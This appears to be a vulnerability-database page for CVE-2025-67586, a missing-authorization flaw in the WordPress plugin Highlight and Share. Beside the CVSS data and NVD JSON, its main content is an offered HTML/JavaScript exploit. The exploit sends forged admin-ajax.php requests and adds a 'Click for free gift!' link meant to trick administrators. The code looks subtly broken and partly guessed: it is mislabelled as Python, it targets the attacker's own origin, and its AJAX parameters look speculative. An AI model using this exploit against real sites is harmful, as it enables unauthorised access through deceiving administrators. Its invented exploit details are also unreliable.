CVE-2025-67586

Description

Missing Authorization vulnerability in Ronald Huereca Highlight and Share highlight-and-share allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Highlight and Share: from n/a through <= 5.2.0.

CVSS Details

CVSS Score

4.7

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Highlight and Share <= 5.2.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC: WordPress Highlight and Share Authorization Bypass -->
<!-- This PoC demonstrates the missing authorization check -->
<!-- Usage: Requires admin interaction (click/social engineering) -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-67586 PoC</title>
</head>
<body>
    <h2>CVE-2025-67586 Authorization Bypass PoC</h2>
    <p>Target: WordPress with Highlight and Share plugin <= 5.2.0</p>
    
    <!-- Automated exploitation attempt -->
    <script>
        // Step 1: Identify vulnerable endpoint
        const targetUrl = window.location.origin;
        const vulnerableEndpoint = targetUrl + '/wp-admin/admin-ajax.php';
        
        // Step 2: Craft malicious request (missing authorization check)
        // The plugin does not properly verify user capabilities
        const exploitPayload = {
            action: 'has_ajax_action',  // Plugin's AJAX action
            security: '',  // May be missing or bypassable
            post_id: document.querySelector('[name="post_ID"]')?.value || 1,
            // Exploit: unauthorized configuration access
            sub_action: 'get_share_settings',
            nonce: ''
        };
        
        // Step 3: Send unauthorized request
        fetch(vulnerableEndpoint, {
            method: 'POST',
            mode: 'no-cors',
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
            },
            body: new URLSearchParams(exploitPayload)
        })
        .then(response => response.text())
        .then(data => {
            console.log('Exploitation response:', data);
            // If successful, data will contain sensitive configuration
        })
        .catch(err => console.error('Error:', err));
    </script>
    
    <!-- Social Engineering Component -->
    <a href='javascript:void(0)' onclick="
        // Malicious link that triggers unauthorized action
        fetch('/wp-admin/admin-ajax.php', {
            method: 'POST',
            body: 'action=has_ajax_action&sub_action=export_settings'
        });
    ">Click for free gift!</a>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67586
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67586
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67586/
[4] VulDB https://vuldb.com/cve/CVE-2025-67586
[5] https://patchstack.com/database/Wordpress/Plugin/highlight-and-share/vulnerability/wordpress-highlight-and-share-plugin-5-2-0-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67586", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:36.527", "lastModified": "2026-04-27T18:16:44.833", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Ronald Huereca Highlight and Share highlight-and-share allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Highlight and Share: from n/a through <= 5.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/highlight-and-share/vulnerability/wordpress-highlight-and-share-plugin-5-2-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}